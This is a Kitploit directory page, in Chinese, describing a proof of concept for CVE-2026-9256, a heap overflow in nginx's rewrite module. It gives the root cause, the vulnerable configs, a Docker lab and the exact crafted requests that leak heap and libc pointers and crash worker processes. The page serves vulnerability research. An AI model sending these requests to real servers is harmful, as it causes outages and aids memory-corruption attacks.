Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-9256-Poc — 演示 nginx 的 ngx_http_rewrite_module 中 CVE-2026-9256 堆缓冲区溢出漏洞,附带用于堆/libc 泄漏及 worker 崩溃的 PoC 脚本。 | Kitploit
工具/GitHubGitHub/3nou9h/cve-2026-9256-poc
内存取证漏洞分析漏洞利用Web安全学习与教育二进制利用
GitHub3nou9h/cve-2026-9256-poc

CVE-2026-9256-Poc

演示 nginx 的 ngx_http_rewrite_module 中 CVE-2026-9256 堆缓冲区溢出漏洞,附带用于堆/libc 泄漏及 worker 崩溃的 PoC 脚本。

查看仓库
3143个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

nginx ngx_http_rewrite_module 堆缓冲区溢出

描述

nginx Plus 和 nginx 开源版的 ngx_http_rewrite_module 存在堆缓冲区溢出漏洞。当 rewrite 指令使用包含多个重叠 PCRE 捕获组的正则表达式(例如 ^/((.*))$),且替换字符串引用多个捕获组(例如 $1&y=$2)时,静态路径缓冲区大小计算低估了所需空间,导致实际写入超过分配大小(Pool Slip)。

未经身份验证的攻击者可通过精心构造的 HTTP 请求触发此漏洞,导致工作进程发生堆缓冲区溢出。当 ASLR 被禁用或可被绕过时,存在代码执行的可能。

根因

文件: src/http/ngx_http_script.c:1143-1155

root@kitploit:~
if (code->lengths == NULL) {
    e->buf.len = code->size;
    if (code->uri) {
        if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
            // BUG: 整个 URI 仅计算一次转义开销
            e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
                                             NGX_ESCAPE_ARGS);
        }
    }
    for (n = 2; n < r->ncaptures; n += 2) {
        e->buf.len += r->captures[n + 1] - r->captures[n];  // 原始长度
    }
}

每个 $N 在复制时独立转义(ngx_http_script.c:1397-1401)。嵌套捕获导致同一子字符串被转义两次,转义成本翻倍,但分配时只计算了一次。

溢出公式(2层嵌套 ((.+)),URI 中有 Q 个 + 字符):

root@kitploit:~
allocated = code_size + 2*Q + 2*(Q+1)
actual    = code_size + 2*(3*Q + 1)
overflow  = 2*Q  (精确可控)

触发条件(三者缺一不可):

测试环境

依赖

  • Docker(含 docker compose)
  • Python 3(无第三方依赖)

目录结构

root@kitploit:~
.
├── env/
│   ├── Dockerfile                 # 基于 nginx:1.31.0
│   ├── docker-compose.yml         # 容器配置(SYS_PTRACE)
│   ├── entrypoint.sh              # ASLR 开启(默认)
│   ├── entrypoint_aslr_off.sh     # ASLR 关闭(用于 libc_leak)
│   └── nginx.conf                 # 含漏洞的配置
├── heap_leak.py                   # heap_leak 概念验证
├── libc_leak.py                   # libc_leak 概念验证
├── crash_verify.py                # crash_verify 概念验证
├── LICENSE
└── README.md

构建与运行

root@kitploit:~
cd env/

# 拉取基础镜像(约 200MB)
docker pull nginx:1.31.0

# 构建并启动
docker compose up --build -d

# 验证
curl -s http://127.0.0.1:19321/
# 预期返回: ok

常用命令

root@kitploit:~
# 查看 nginx 日志(崩溃信息)
docker compose logs -f

# 停止并移除
docker compose down

# 重新启动(崩溃后)
docker compose restart

ASLR

检查当前状态:

root@kitploit:~
cat /proc/sys/kernel/randomize_va_space
# 0 = 关闭, 1 = 部分, 2 = 完全

heap_leak 和 crash_verify 不受 ASLR 影响。libc_leak 需要在宿主机上禁用 ASLR:

root@kitploit:~
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart

或者,仅对 nginx 进程禁用 ASLR(无需宿主机特权): 将 entrypoint_aslr_off.sh 覆盖 entrypoint.sh,然后运行 docker compose up --build -d。

注意:容器共享宿主机内核。randomize_va_space 必须在宿主机上设置。

验证结果

堆指针泄露

所需配置:

root@kitploit:~
location /echo/ {
    rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
    internal;
    default_type text/plain;
    return 200 "x=$arg_x\ny=$arg_y\n";
}

机制:Pool Slip 导致 ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) 落在溢出区域。脚本引擎的已初始化字段(e->ip、e->sp、e->request)泄露到重写后的 URI 查询字符串中,并通过 return 200 "$arg_y" 返回。

请求:

root@kitploit:~
GET /echo/%25%25%25%25%25A HTTP/1.0

验证结果(nginx:1.31.0,ASLR 开启):

root@kitploit:~
e->ip      = 0x00006544dec82430  (配置池代码数组)
e->sp      = 0x00006544dec5ada0  (请求池脚本栈)
e->request = 0x00006544dec58880  (请求结构体)

泄露内容: nginx 工作进程地址空间内的原始堆指针。

概念验证:heap_leak.py


libc 范围指针泄露

所需配置:

root@kitploit:~
location /leak2/ {
    rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
    internal;
    proxy_pass http://backend;           # 必须可达
    add_header X-Leak-Y "$arg_y" always;
}

机制:proxy_pass 触发上游初始化。包含库函数指针的上游结构被分配到溢出区域。add_header "$arg_y" 将原始字节写入响应头。

请求:

root@kitploit:~
GET /leak2/%25%25...(约40个%25)...A HTTP/1.0

验证结果(nginx:1.31.0,ASLR 关闭,request_pool_size=7920):

root@kitploit:~
leaked ptr = 0x00007fbfc3b7c346

泄露内容:0x7f... 范围内的原始指针(libc 加载区域)。要计算 libc 基址,需读取目标上的 /proc/<pid>/maps,然后计算 leaked_ptr - libc_base。

ASLR 依赖:此阶段需要 ASLR 关闭。泄露的指针来自已释放的块元数据(fd/bk → main_arena)。ASLR 开启时,已释放块的偏移量会变化,小溢出无法可靠地到达该位置。

概念验证:libc_leak.py


更简单的替代方案:使用 redirect 模式(rewrite ^/r/((.*))$ http://.../?$1$2 redirect;),Location 头会直接暴露原始溢出字节,没有字符编码问题。单个请求即可泄露堆指针(Q=10~450)或触发崩溃(Q >= 500),无需 proxy_pass 或特别的 pool_size。


工作进程崩溃(DoS)

所需配置:

root@kitploit:~
location /leak9/ {
    rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
    internal;
    default_type text/plain;
    return 200 "i=$arg_i\n";
}

机制:9 层嵌套产生溢出 = 16Q(相对于 2 层嵌套的 2Q)。当 request_pool_size=7920 时,Q=123 超出池块边界,覆盖相邻的 malloc 块元数据。glibc 检测到损坏并终止工作进程。master 进程会自动重启。

请求:

root@kitploit:~
GET /leak9/%2b%2b...(123个%2b)...A HTTP/1.0

验证结果(nginx:1.31.0,request_pool_size=7920):

root@kitploit:~
Q=122: 正常响应  (溢出=1952B)
Q=123: 无响应,nginx error.log 显示:
  corrupted size vs. prev_size
  worker process XX exited on signal 6 (core dumped)
5/5 次成功复现。

嵌套层数与 pool_size 的关系:N 层嵌套产生的溢出 = (N-1)*2*Q。默认 pool_size=4096 配合 9 层嵌套足以造成崩溃。对于给定的 Q,更大的 pool_size 需要更少的嵌套层数。

概念验证:crash_verify.py

运行概念验证脚本

root@kitploit:~
# 阶段 1:堆指针泄露
python3 heap_leak.py 127.0.0.1 19321

# 阶段 2:libc 范围指针泄露(需 ASLR 关闭)
python3 libc_leak.py 127.0.0.1 19321

# 阶段 3:DoS 崩溃
python3 crash_verify.py 127.0.0.1 19321

免责声明

此概念验证仅供教育和授权的安全研究使用。禁止未经授权的使用。

下载工具
条件详情
无命名变量,无重复 $N静态路径(sc.variables==0 && !sc.dup_capture)
正则表达式中存在嵌套捕获组例如 ((.+)) 使 $1 和 $2 匹配相同内容
URI 中包含 + 或 %XX触发转义路径(plus_in_uri 或 quoted_uri)